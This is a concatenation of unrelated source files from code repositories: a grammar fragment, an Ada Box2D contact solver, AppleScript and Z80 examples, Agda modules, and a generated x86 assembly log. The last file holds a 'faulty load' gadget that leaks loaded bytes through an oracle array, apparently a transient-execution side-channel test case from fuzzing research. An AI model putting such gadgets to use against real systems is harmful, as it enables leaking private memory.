expression: conditionalExpression | primary | lambdaExpression;
// lambda
lambdaExpression: lambdaParameters '->' lambdaBody;
lambdaParameters: typeName | '(' typeName (',' typeName)* ')';
lambdaBody: expression | primary;
conditionalExpression
: conditionalOrExpression
| conditionalOrExpression StaticMethod '(' expression (',' expression)* ')'
| conditionalOrExpression BETWEEN expression AND conditionalExpression
| conditionalOrExpression '?' expression ':' conditionalExpression;
conditionalOrExpression
: conditionalAndExpression
| conditionalOrExpression OR conditionalAndExpression;
conditionalAndExpression
: andExpression
| conditionalAndExpression AND conditionalOrExpression;
andExpression
: equalityExpression
| andExpression AND equalityExpression;
equalityExpression
: relationalExpression
| equalityExpression '=' relationalExpression
| equalityExpression '!=' relationalExpression;
relationalExpression
: additiveExpression
| relationalExpression '<' additiveExpression
| relationalExpression '<=' additiveExpression
| relationalExpression '>' additiveExpression
| relationalExpression '>=' additiveExpression;
additiveExpression
: multiplicativeExpression
| additiveExpression '+' multiplicativeExpression
| additiveExpression '-' multiplicativeExpression;
multiplicativeExpression
: unaryExpression
| multiplicativeExpression '*' unaryExpression
| multiplicativeExpression '/' unaryExpression;
// unary operation is an operation with only one operand
unaryExpression
: unaryExpressionNotPlusMinus
| '+' unaryExpression
| '-' unaryExpression
| primary;
unaryExpressionNotPlusMinus: '!' unaryExpression;
|
lab_12/not_my/main.asm | Winterpuma/bmstu_MDPL | 14 | 242164 | .386
.model flat, c
.listall
include template.inc
public macro_main
.code
macro_main proc near
create_func void, func, <x, y>, <esi, edi>
ret
macro_main endp
end |
3-mid/impact/source/2d/orbs/dynamics/contacts/impact-d2-orbs-contact-solver.adb | charlie5/lace | 20 | 1325 | <filename>3-mid/impact/source/2d/orbs/dynamics/contacts/impact-d2-orbs-contact-solver.adb
with ada.unchecked_Deallocation;
with impact.d2.orbs.Shape;
package body impact.d2.orbs.contact.Solver
is
use type int32;
B2_DEBUG_SOLVER : constant := 0;
function to_b2ContactSolver (contacts : in Contact.views;
-- b2StackAllocator* allocator,
impulseRatio : float32) return b2ContactSolver
is
Self : b2ContactSolver;
begin
-- m_allocator = allocator;
Self.m_constraintCount := contacts'Length;
Self.m_constraints := new b2ContactConstraints (1 .. Self.m_constraintCount);
for i in 1 .. Self.m_constraintCount loop
declare
use Fixture, impact.d2.orbs;
contact : constant access b2Contact := contacts (i);
fixtureA : constant access item := contact.m_fixtureA;
fixtureB : constant access item := contact.m_fixtureB;
shapeA : constant Shape.view := fixtureA.GetShape.all'Access;
shapeB : constant Shape.view := fixtureB.GetShape.all'Access;
radiusA : float32 := shapeA.m_radius;
radiusB : float32 := shapeB.m_radius;
bodyA : constant Solid_view := fixtureA.GetBody.all'Access;
bodyB : constant Solid_view := fixtureB.GetBody.all'Access;
manifold : constant Manifold_view := contact.GetManifold.all'Access;
friction : float32 := b2MixFriction (fixtureA.GetFriction, fixtureB.GetFriction);
restitution : float32 := b2MixRestitution (fixtureA.GetRestitution, fixtureB.GetRestitution);
vA : constant b2Vec2 := bodyA.getLinearVelocity;
vB : constant b2Vec2 := bodyB.getLinearVelocity;
wA : float32 := bodyA.getAngularVelocity;
wB : float32 := bodyB.getAngularVelocity;
pragma Assert (manifold.pointCount > 0);
worldManifold : collision.b2WorldManifold;
cc : b2ContactConstraint renames Self.m_constraints (i);
begin
collision.Initialize (worldManifold, manifold.all, bodyA.getTransform, radiusA,
bodyB.getTransform, radiusB);
cc.bodyA := bodyA;
cc.bodyB := bodyB;
cc.manifold := manifold;
cc.normal := worldManifold.normal;
cc.pointCount := manifold.pointCount;
cc.friction := friction;
cc.localNormal := manifold.localNormal;
cc.localPoint := manifold.localPoint;
cc.radius := radiusA + radiusB;
cc.kind := manifold.kind;
for j in 1 .. cc.pointCount loop
declare
cp : collision.b2ManifoldPoint renames manifold.points (j);
ccp : b2ContactConstraintPoint renames cc.points (uint32 (j));
rnA, rnB,
rtA, rtB,
vRel,
kTangent,
kNormal : float32;
tangent : b2Vec2;
begin
ccp.normalImpulse := impulseRatio * cp.normalImpulse;
ccp.tangentImpulse := impulseRatio * cp.tangentImpulse;
ccp.localPoint := cp.localPoint;
ccp.rA := worldManifold.points (j) - bodyA.m_sweep.c;
ccp.rB := worldManifold.points (j) - bodyB.m_sweep.c;
rnA := b2Cross (ccp.rA, cc.normal);
rnB := b2Cross (ccp.rB, cc.normal);
rnA := rnA * rnA;
rnB := rnB * rnB;
kNormal := bodyA.m_invMass.all + bodyB.m_invMass.all + bodyA.m_invI.all * rnA + bodyB.m_invI.all * rnB;
pragma Assert (kNormal > b2_epsilon);
ccp.normalMass := 1.0 / kNormal;
tangent := b2Cross (cc.normal, 1.0);
rtA := b2Cross (ccp.rA, tangent);
rtB := b2Cross (ccp.rB, tangent);
rtA := rtA * rtA;
rtB := rtB * rtB;
kTangent := bodyA.m_invMass.all + bodyB.m_invMass.all + bodyA.m_invI.all * rtA + bodyB.m_invI.all * rtB;
pragma Assert (kTangent > b2_epsilon);
ccp.tangentMass := 1.0 / kTangent;
-- Setup a velocity bias for restitution.
ccp.velocityBias := 0.0;
vRel := b2Dot (cc.normal, vB + b2Cross (wB, ccp.rB)
- vA - b2Cross (wA, ccp.rA));
if vRel < -b2_velocityThreshold then
ccp.velocityBias := -restitution * vRel;
end if;
end;
end loop;
-- If we have two points, then prepare the block solver.
if cc.pointCount = 2 then
declare
ccp1 : b2ContactConstraintPoint renames cc.points (1);
ccp2 : b2ContactConstraintPoint renames cc.points (2);
-- b2ContactConstraintPoint* ccp1 = cc.points + 0;
-- b2ContactConstraintPoint* ccp2 = cc.points + 1;
invMassA : constant float32 := bodyA.m_invMass.all;
invIA : constant float32 := bodyA.m_invI.all;
invMassB : constant float32 := bodyB.m_invMass.all;
invIB : constant float32 := bodyB.m_invI.all;
rn1A : constant float32 := b2Cross (ccp1.rA, cc.normal);
rn1B : constant float32 := b2Cross (ccp1.rB, cc.normal);
rn2A : constant float32 := b2Cross (ccp2.rA, cc.normal);
rn2B : constant float32 := b2Cross (ccp2.rB, cc.normal);
k11 : constant float32 := invMassA + invMassB + invIA * rn1A * rn1A + invIB * rn1B * rn1B;
k22 : constant float32 := invMassA + invMassB + invIA * rn2A * rn2A + invIB * rn2B * rn2B;
k12 : constant float32 := invMassA + invMassB + invIA * rn1A * rn2A + invIB * rn1B * rn2B;
-- Ensure a reasonable condition number.
k_maxConditionNumber : constant := 100.0;
begin
if k11 * k11 < k_maxConditionNumber * (k11 * k22 - k12 * k12) then
-- K is safe to invert.
cc.K.col1 := (k11, k12);
cc.K.col2 := (k12, k22);
cc.normalMass := GetInverse (cc.K);
else
-- The constraints are redundant, just use one.
-- TODO_ERIN use deepest?
cc.pointCount := 1;
end if;
end;
end if;
end;
end loop;
return Self;
end to_b2ContactSolver;
procedure destruct (Self : in out b2ContactSolver)
is
procedure free is new ada.unchecked_Deallocation (b2ContactConstraints, b2ContactConstraints_view);
begin
free (Self.m_constraints);
end destruct;
procedure WarmStart (Self : in out b2ContactSolver)
is
begin
-- Warm start.
for i in 1 .. Self.m_constraintCount loop
declare
c : b2ContactConstraint renames Self.m_constraints (i);
bodyA : constant access Solid.item'Class := c.bodyA;
bodyB : constant access Solid.item'Class := c.bodyB;
invMassA : float32 := bodyA.m_invMass.all;
invIA : float32 := bodyA.m_invI.all;
invMassB : float32 := bodyB.m_invMass.all;
invIB : float32 := bodyB.m_invI.all;
normal : constant b2Vec2 := c.normal;
tangent : constant b2Vec2 := b2Cross (normal, 1.0);
begin
for j in 1 .. c.pointCount loop
declare
ccp : b2ContactConstraintPoint renames c.points (uint32 (j));
P : constant b2Vec2 := ccp.normalImpulse * normal + ccp.tangentImpulse * tangent;
begin
bodyA.m_angularVelocity.all := bodyA.m_angularVelocity.all - invIA * b2Cross (ccp.rA, P);
bodyA.m_linearVelocity.all := bodyA.m_linearVelocity.all - invMassA * P;
bodyB.m_angularVelocity.all := bodyB.m_angularVelocity.all + invIB * b2Cross (ccp.rB, P);
bodyB.m_linearVelocity.all := bodyB.m_linearVelocity.all + invMassB * P;
end;
end loop;
end;
end loop;
end WarmStart;
procedure SolveVelocityConstraints (Self : in out b2ContactSolver)
is
begin
for i in 1 .. Self.m_constraintCount loop
declare
c : b2ContactConstraint renames Self.m_constraints (i);
bodyA : constant Solid_view := c.bodyA;
bodyB : constant Solid_view := c.bodyB;
wA : float32 := bodyA.m_angularVelocity.all;
wB : float32 := bodyB.m_angularVelocity.all;
vA : b2Vec2 := bodyA.m_linearVelocity.all;
vB : b2Vec2 := bodyB.m_linearVelocity.all;
invMassA : float32 := bodyA.m_invMass.all;
invIA : float32 := bodyA.m_invI.all;
invMassB : float32 := bodyB.m_invMass.all;
invIB : float32 := bodyB.m_invI.all;
normal : constant b2Vec2 := c.normal;
tangent : constant b2Vec2 := b2Cross (normal, 1.0);
friction : float32 := c.friction;
pragma Assert (c.pointCount = 1 or else c.pointCount = 2);
begin
-- Solve tangent constraints
for j in 1 .. c.pointCount loop
declare
ccp : b2ContactConstraintPoint renames c.points (uint32 (j));
-- Relative velocity at contact
dv : constant b2Vec2 := vB + b2Cross (wB, ccp.rB)
- vA - b2Cross (wA, ccp.rA);
-- Compute tangent force
vt : constant float32 := b2Dot (dv, tangent);
lambda : float32 := ccp.tangentMass * (-vt);
-- b2Clamp the accumulated force
maxFriction : constant float32 := friction * ccp.normalImpulse;
newImpulse : constant float32 := b2Clamp (ccp.tangentImpulse + lambda, -maxFriction, maxFriction);
P : b2Vec2;
begin
lambda := newImpulse - ccp.tangentImpulse;
-- Apply contact impulse
P := lambda * tangent;
vA := vA - invMassA * P;
wA := wA - invIA * b2Cross (ccp.rA, P);
vB := vB + invMassB * P;
wB := wB + invIB * b2Cross (ccp.rB, P);
ccp.tangentImpulse := newImpulse;
end;
end loop;
-- Solve normal constraints
if c.pointCount = 1 then
declare
ccp : b2ContactConstraintPoint renames c.points (1);
-- Relative velocity at contact
dv : constant b2Vec2 := vB + b2Cross (wB, ccp.rB)
- vA - b2Cross (wA, ccp.rA);
-- Compute normal impulse
vn : constant float32 := b2Dot (dv, normal);
lambda : float32 := -ccp.normalMass * (vn - ccp.velocityBias);
-- b2Clamp the accumulated impulse
newImpulse : constant float32 := float32'Max (ccp.normalImpulse + lambda, 0.0);
P : b2Vec2;
begin
lambda := newImpulse - ccp.normalImpulse;
-- Apply contact impulse
P := lambda * normal;
vA := vA - invMassA * P;
wA := wA - invIA * b2Cross (ccp.rA, P);
vB := vB + invMassB * P;
wB := wB + invIB * b2Cross (ccp.rB, P);
ccp.normalImpulse := newImpulse;
end;
else
-- Block solver developed in collaboration with <NAME> (back in 01/07 on Box2D_Lite).
-- Build the mini LCP for this contact patch
--
-- vn = A * x + b, vn >= 0, , vn >= 0, x >= 0 and vn_i * x_i = 0 with i = 1..2
--
-- A = J * W * JT and J = ( -n, -r1 x n, n, r2 x n )
-- b = vn_0 - velocityBias
--
-- The system is solved using the "Total enumeration method" (s. Murty). The complementary constraint vn_i * x_i
-- implies that we must have in any solution either vn_i = 0 or x_i = 0. So for the 2D contact problem the cases
-- vn1 = 0 and vn2 = 0, x1 = 0 and x2 = 0, x1 = 0 and vn2 = 0, x2 = 0 and vn1 = 0 need to be tested. The first valid
-- solution that satisfies the problem is chosen.
--
-- In order to account of the accumulated impulse 'a' (because of the iterative nature of the solver which only requires
-- that the accumulated impulse is clamped and not the incremental impulse) we change the impulse variable (x_i).
--
-- Substitute:
--
-- x = x' - a
--
-- Plug into above equation:
--
-- vn = A * x + b
-- = A * (x' - a) + b
-- = A * x' + b - A * a
-- = A * x' + b'
-- b' = b - A * a;
declare
cp1 : b2ContactConstraintPoint renames c.points (1);
cp2 : b2ContactConstraintPoint renames c.points (2);
a : b2Vec2 := (cp1.normalImpulse, cp2.normalImpulse);
pragma Assert (a.x >= 0.0 and then a.y >= 0.0);
-- Relative velocity at contact
dv1 : constant b2Vec2 := vB + b2Cross (wB, cp1.rB) - vA - b2Cross (wA, cp1.rA);
dv2 : constant b2Vec2 := vB + b2Cross (wB, cp2.rB) - vA - b2Cross (wA, cp2.rA);
-- Compute normal velocity
vn1 : float32 := b2Dot (dv1, normal);
vn2 : float32 := b2Dot (dv2, normal);
b : b2Vec2;
k_errorTol : constant := 1.0e-3;
x, d,
P1, P2 : b2Vec2;
begin
b.x := vn1 - cp1.velocityBias;
b.y := vn2 - cp2.velocityBias;
b := b - b2Mul (c.K, a);
loop
--
-- Case 1: vn = 0
--
-- 0 = A * x' + b'
--
-- Solve for x':
--
-- x' = - inv(A) * b'
--
x := -b2Mul (c.normalMass, b);
if x.x >= 0.0 and then x.y >= 0.0 then
-- Resubstitute for the incremental impulse
d := x - a;
-- Apply incremental impulse
P1 := d.x * normal;
P2 := d.y * normal;
vA := vA - invMassA * (P1 + P2);
wA := wA - invIA * (b2Cross (cp1.rA, P1) + b2Cross (cp2.rA, P2));
vB := vB + invMassB * (P1 + P2);
wB := wB + invIB * (b2Cross (cp1.rB, P1) + b2Cross (cp2.rB, P2));
-- Accumulate
cp1.normalImpulse := x.x;
cp2.normalImpulse := x.y;
-- #if B2_DEBUG_SOLVER == 1
-- -- Postconditions
-- dv1 = vB + b2Cross(wB, cp1->rB) - vA - b2Cross(wA, cp1->rA);
-- dv2 = vB + b2Cross(wB, cp2->rB) - vA - b2Cross(wA, cp2->rA);
--
-- -- Compute normal velocity
-- vn1 = b2Dot(dv1, normal);
-- vn2 = b2Dot(dv2, normal);
--
-- b2Assert(b2Abs(vn1 - cp1->velocityBias) < k_errorTol);
-- b2Assert(b2Abs(vn2 - cp2->velocityBias) < k_errorTol);
-- #endif
exit;
end if;
--
-- Case 2: vn1 = 0 and x2 = 0
--
-- 0 = a11 * x1' + a12 * 0 + b1'
-- vn2 = a21 * x1' + a22 * 0 + b2'
--
x.x := -cp1.normalMass * b.x;
x.y := 0.0;
vn1 := 0.0;
vn2 := c.K.col1.y * x.x + b.y;
if x.x >= 0.0 and then vn2 >= 0.0 then
-- Resubstitute for the incremental impulse
d := x - a;
-- Apply incremental impulse
P1 := d.x * normal;
P2 := d.y * normal;
vA := vA - invMassA * (P1 + P2);
wA := wA - invIA * (b2Cross (cp1.rA, P1) + b2Cross (cp2.rA, P2));
vB := vB + invMassB * (P1 + P2);
wB := wB + invIB * (b2Cross (cp1.rB, P1) + b2Cross (cp2.rB, P2));
-- Accumulate
cp1.normalImpulse := x.x;
cp2.normalImpulse := x.y;
-- #if B2_DEBUG_SOLVER == 1
-- -- Postconditions
-- dv1 = vB + b2Cross(wB, cp1->rB) - vA - b2Cross(wA, cp1->rA);
--
-- -- Compute normal velocity
-- vn1 = b2Dot(dv1, normal);
--
-- b2Assert(b2Abs(vn1 - cp1->velocityBias) < k_errorTol);
-- #endif
exit;
end if;
--
-- Case 3: vn2 = 0 and x1 = 0
--
-- vn1 = a11 * 0 + a12 * x2' + b1'
-- 0 = a21 * 0 + a22 * x2' + b2'
--
x.x := 0.0;
x.y := -cp2.normalMass * b.y;
vn1 := c.K.col2.x * x.y + b.x;
vn2 := 0.0;
if x.y >= 0.0 and then vn1 >= 0.0 then
-- Resubstitute for the incremental impulse
d := x - a;
-- Apply incremental impulse
P1 := d.x * normal;
P2 := d.y * normal;
vA := vA - invMassA * (P1 + P2);
wA := wA - invIA * (b2Cross (cp1.rA, P1) + b2Cross (cp2.rA, P2));
vB := vB + invMassB * (P1 + P2);
wB := wB + invIB * (b2Cross (cp1.rB, P1) + b2Cross (cp2.rB, P2));
-- Accumulate
cp1.normalImpulse := x.x;
cp2.normalImpulse := x.y;
-- #if B2_DEBUG_SOLVER == 1
-- -- Postconditions
-- dv2 = vB + b2Cross(wB, cp2->rB) - vA - b2Cross(wA, cp2->rA);
--
-- -- Compute normal velocity
-- vn2 = b2Dot(dv2, normal);
--
-- b2Assert(b2Abs(vn2 - cp2->velocityBias) < k_errorTol);
-- #endif
exit;
end if;
--
-- Case 4: x1 = 0 and x2 = 0
--
-- vn1 = b1
-- vn2 = b2;
x.x := 0.0;
x.y := 0.0;
vn1 := b.x;
vn2 := b.y;
if vn1 >= 0.0 and then vn2 >= 0.0 then
-- Resubstitute for the incremental impulse
d := x - a;
-- Apply incremental impulse
P1 := d.x * normal;
P2 := d.y * normal;
vA := vA - invMassA * (P1 + P2);
wA := wA - invIA * (b2Cross (cp1.rA, P1) + b2Cross (cp2.rA, P2));
vB := vB + invMassB * (P1 + P2);
wB := wB + invIB * (b2Cross (cp1.rB, P1) + b2Cross (cp2.rB, P2));
-- Accumulate
cp1.normalImpulse := x.x;
cp2.normalImpulse := x.y;
exit;
end if;
-- No solution, give up. This is hit sometimes, but it doesn't seem to matter.
exit;
end loop;
end;
end if;
bodyA.m_linearVelocity.all := vA;
bodyA.m_angularVelocity.all := wA;
bodyB.m_linearVelocity.all := vB;
bodyB.m_angularVelocity.all := wB;
end;
end loop;
end SolveVelocityConstraints;
procedure StoreImpulses (Self : in out b2ContactSolver)
is
begin
for i in 1 .. Self.m_constraintCount loop
declare
c : b2ContactConstraint renames Self.m_constraints (i);
m : collision.b2Manifold renames c.manifold.all;
begin
for j in 1 .. c.pointCount loop
m.points (j).normalImpulse := c.points (uint32 (j)).normalImpulse;
m.points (j).tangentImpulse := c.points (uint32 (j)).tangentImpulse;
end loop;
end;
end loop;
end StoreImpulses;
type b2PositionSolverManifold is
record
normal : b2Vec2;
point : b2Vec2;
separation : float32;
end record;
procedure Initialize (Self : in out b2PositionSolverManifold; cc : access b2ContactConstraint;
index : in int32)
is
use Collision;
pointA,
pointB,
planePoint,
clipPoint : b2Vec2;
begin
pragma Assert (cc.pointCount > 0);
case cc.kind is
when e_circles =>
pointA := cc.bodyA.GetWorldPoint (cc.localPoint);
pointB := cc.bodyB.GetWorldPoint (cc.points (1).localPoint);
if b2DistanceSquared (pointA, pointB) > b2_epsilon * b2_epsilon then
Self.normal := pointB - pointA;
Normalize (Self.normal);
else
Self.normal := (1.0, 0.0);
end if;
Self.point := 0.5 * (pointA + pointB);
Self.separation := b2Dot (pointB - pointA, Self.normal) - cc.radius;
when e_faceA =>
Self.normal := cc.bodyA.GetWorldVector (cc.localNormal);
planePoint := cc.bodyA.GetWorldPoint (cc.localPoint);
clipPoint := cc.bodyB.GetWorldPoint (cc.points (uint32 (index)).localPoint);
Self.separation := b2Dot (clipPoint - planePoint, Self.normal) - cc.radius;
Self.point := clipPoint;
when e_faceB =>
Self.normal := cc.bodyB.GetWorldVector (cc.localNormal);
planePoint := cc.bodyB.GetWorldPoint (cc.localPoint);
clipPoint := cc.bodyA.GetWorldPoint (cc.points (uint32 (index)).localPoint);
Self.separation := b2Dot (clipPoint - planePoint, Self.normal) - cc.radius;
Self.point := clipPoint;
-- Ensure normal points from A to B
Self.normal := -Self.normal;
end case;
end Initialize;
function SolvePositionConstraints (Self : in b2ContactSolver; baumgarte : float32) return Boolean
is
minSeparation : float32 := 0.0;
psm : b2PositionSolverManifold;
begin
for i in 1 .. Self.m_constraintCount loop
declare
c : constant access b2ContactConstraint := Self.m_constraints (i)'Access;
bodyA : constant Solid_view := c.bodyA;
bodyB : constant Solid_view := c.bodyB;
invMassA : float32 := bodyA.getMass * bodyA.m_invMass.all;
invIA : float32 := bodyA.getMass * bodyA.m_invI.all;
invMassB : float32 := bodyB.getMass * bodyB.m_invMass.all;
invIB : float32 := bodyB.getMass * bodyB.m_invI.all;
begin
-- Solve normal constraints
for j in 1 .. c.pointCount loop
Initialize (psm, c, j);
declare
normal : constant b2Vec2 := psm.normal;
point : constant b2Vec2 := psm.point;
separation : constant float32 := psm.separation;
rA : constant b2Vec2 := point - bodyA.m_sweep.c;
rB : constant b2Vec2 := point - bodyB.m_sweep.c;
-- Prevent large corrections and allow slop.
C : constant float32 := b2Clamp (baumgarte * (separation + b2_linearSlop), -b2_maxLinearCorrection, 0.0);
-- Compute the effective mass.
rnA : constant float32 := b2Cross (rA, normal);
rnB : constant float32 := b2Cross (rB, normal);
K : constant float32 := invMassA + invMassB + invIA * rnA * rnA + invIB * rnB * rnB;
-- Compute normal impulse
impulse : float32;
P : b2Vec2;
begin
-- Track max constraint error.
minSeparation := float32'Min (minSeparation, separation);
if K > 0.0 then impulse := -C / K;
else impulse := 0.0;
end if;
P := impulse * normal;
bodyA.m_sweep.c := bodyA.m_sweep.c - invMassA * P;
bodyA.m_sweep.a := bodyA.m_sweep.a - invIA * b2Cross (rA, P);
bodyA.SynchronizeTransform;
bodyB.m_sweep.c := bodyB.m_sweep.c + invMassB * P;
bodyB.m_sweep.a := bodyB.m_sweep.a + invIB * b2Cross (rB, P);
bodyB.SynchronizeTransform;
end;
end loop;
end;
end loop;
-- We can't expect minSpeparation >= -b2_linearSlop because we don't
-- push the separation above -b2_linearSlop.
return minSeparation >= -1.5 * b2_linearSlop;
end SolvePositionConstraints;
end impact.d2.orbs.contact.Solver;
|
chrome/browser/ui/cocoa/applescript/examples/advanced_tab_manipulation.applescript | zealoussnow/chromium | 14,668 | 1598 | <reponame>zealoussnow/chromium<filename>chrome/browser/ui/cocoa/applescript/examples/advanced_tab_manipulation.applescript
-- Copyright (c) 2010 The Chromium Authors. All rights reserved.
-- Use of this source code is governed by a BSD-style license that can be
-- found in the LICENSE file.
tell application "Chromium"
tell tab 1 of window 1
print -- Prints the tab, prompts the user for location.
end tell
tell tab 1 of window 1
save in "/Users/Foo/Documents/Google" as "only html"
-- Saves the contents of the tab without the accompanying resources.
save in "/Users/Foo/Documents/Google" as "complete html"
-- Saves the contents of the tab with the accompanying resources.
-- Note: both the |in| and |as| part are optional, without it user is
-- prompted for one.
end tell
tell tab 1 of window 1
view source -- View the HTML of the tab in a new tab.
end tell
end tell
|
libsrc/stdio/abc80/fgetc_cons.asm | meesokim/z88dk | 0 | 22866 | ;
; ABC80 Routines
;
; getkey() Wait for keypress
;
; Maj 2000 - <NAME>
;
;
; $Id: fgetc_cons.asm,v 1.4 2015/01/19 01:33:17 pauloscustodio Exp $
;
PUBLIC fgetc_cons
.fgetc_cons
ld a,(65013)
and 127
jr z,fgetc_cons
ld l,a
xor a
ld (65013),a
ld h,a
ret
|
test/Succeed/Issue3547.agda | hborum/agda | 2 | 7583 | <gh_stars>1-10
-- {-# OPTIONS --cubical -vtc.lhs.split.partial:20 #-}
{-# OPTIONS --cubical #-}
module _ where
open import Agda.Primitive.Cubical
open import Agda.Builtin.Equality
postulate
X : Set
P : I โ Set
p : P i1
module Test (A : Set) (i : I) (B : Set) where
j = i
R = P j
module Z (r s : A) where
a0 : I โ Partial j R
a0 k with k
... | _ = \ { (j = i1) โ p }
a : Partial j R
a (j = i1) = p
refining : โ (x y : A) โ x โก y โ A โ Partial j R
refining x y refl = \ { _ (j = i1) โ p }
refining-dot : โ (x y : A) โ x โก y โ A โ Partial j R
refining-dot x .x refl = \ { _ (j = i1) โ p }
refining-dot2 : โ (x y : A) โ x โก y โ A โ Partial j R
refining-dot2 x .x refl z = \ { (i = i1) โ p }
refining-cxt : A โก X โ Partial j R
refining-cxt refl = \ { (j = i1) โ p }
refining-cxt2 : B โก X โ Partial j R
refining-cxt2 refl = \ { (j = i1) โ p }
|
stdlib-exts/Monads/Except.agda | WhatisRT/meta-cedille | 35 | 7426 | module Monads.Except where
open import Class.Monad
open import Class.Monad.Except
open import Monads.ExceptT
open import Monads.Identity
open import Level
private
variable
a : Level
A : Set a
Except : Set a -> Set a -> Set a
Except = ExceptT Id
instance
Except-Monad : Monad (Except A)
Except-Monad = ExceptT-Monad
Except-MonadExcept : MonadExcept (Except A) A
Except-MonadExcept = ExceptT-MonadExcept
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_972.asm | ljhsiun2/medusa | 9 | 82152 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r15
push %r8
push %rax
push %rdi
lea addresses_WT_ht+0x12219, %r15
nop
nop
and $4216, %rdi
movb $0x61, (%r15)
add $56886, %r13
lea addresses_D_ht+0xb091, %r14
inc %rax
movl $0x61626364, (%r14)
cmp %rax, %rax
lea addresses_A_ht+0xc319, %r14
nop
nop
cmp %r15, %r15
and $0xffffffffffffffc0, %r14
movaps (%r14), %xmm6
vpextrq $0, %xmm6, %r8
nop
nop
nop
add %r15, %r15
lea addresses_WT_ht+0x4c19, %r15
nop
sub $17848, %rdi
movups (%r15), %xmm2
vpextrq $0, %xmm2, %r10
nop
nop
xor $12059, %r13
lea addresses_D_ht+0x101, %r10
nop
nop
nop
nop
sub $30870, %r15
movb $0x61, (%r10)
nop
nop
and $61435, %r8
lea addresses_WC_ht+0x737d, %rdi
nop
nop
nop
and $23996, %r15
mov $0x6162636465666768, %rax
movq %rax, %xmm4
and $0xffffffffffffffc0, %rdi
movaps %xmm4, (%rdi)
nop
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0x3397, %r13
nop
inc %r10
and $0xffffffffffffffc0, %r13
movaps (%r13), %xmm2
vpextrq $1, %xmm2, %r14
sub %rdi, %rdi
lea addresses_D_ht+0xa9a3, %r8
nop
nop
nop
nop
nop
cmp $34965, %r15
and $0xffffffffffffffc0, %r8
vmovaps (%r8), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r13
nop
nop
nop
nop
xor $39217, %r10
lea addresses_A_ht+0x1d419, %r13
and $46624, %r14
movl $0x61626364, (%r13)
nop
nop
xor $6829, %r14
lea addresses_normal_ht+0x11919, %rdi
nop
nop
nop
and $16447, %r15
movl $0x61626364, (%rdi)
and %r8, %r8
lea addresses_UC_ht+0x11523, %rax
clflush (%rax)
nop
nop
cmp %r10, %r10
movw $0x6162, (%rax)
nop
nop
nop
nop
and %r13, %r13
lea addresses_WT_ht+0x1684d, %rax
add %r15, %r15
movb (%rax), %r13b
nop
nop
nop
nop
nop
add $15412, %r15
pop %rdi
pop %rax
pop %r8
pop %r15
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rbp
push %rdi
// Faulty Load
mov $0x6cb56d0000000719, %r13
nop
nop
inc %r12
vmovups (%r13), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbp
lea oracles, %r12
and $0xff, %rbp
shlq $12, %rbp
mov (%r12,%rbp,1), %rbp
pop %rdi
pop %rbp
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': True, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 2}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': True, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 1}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 1}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 1}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 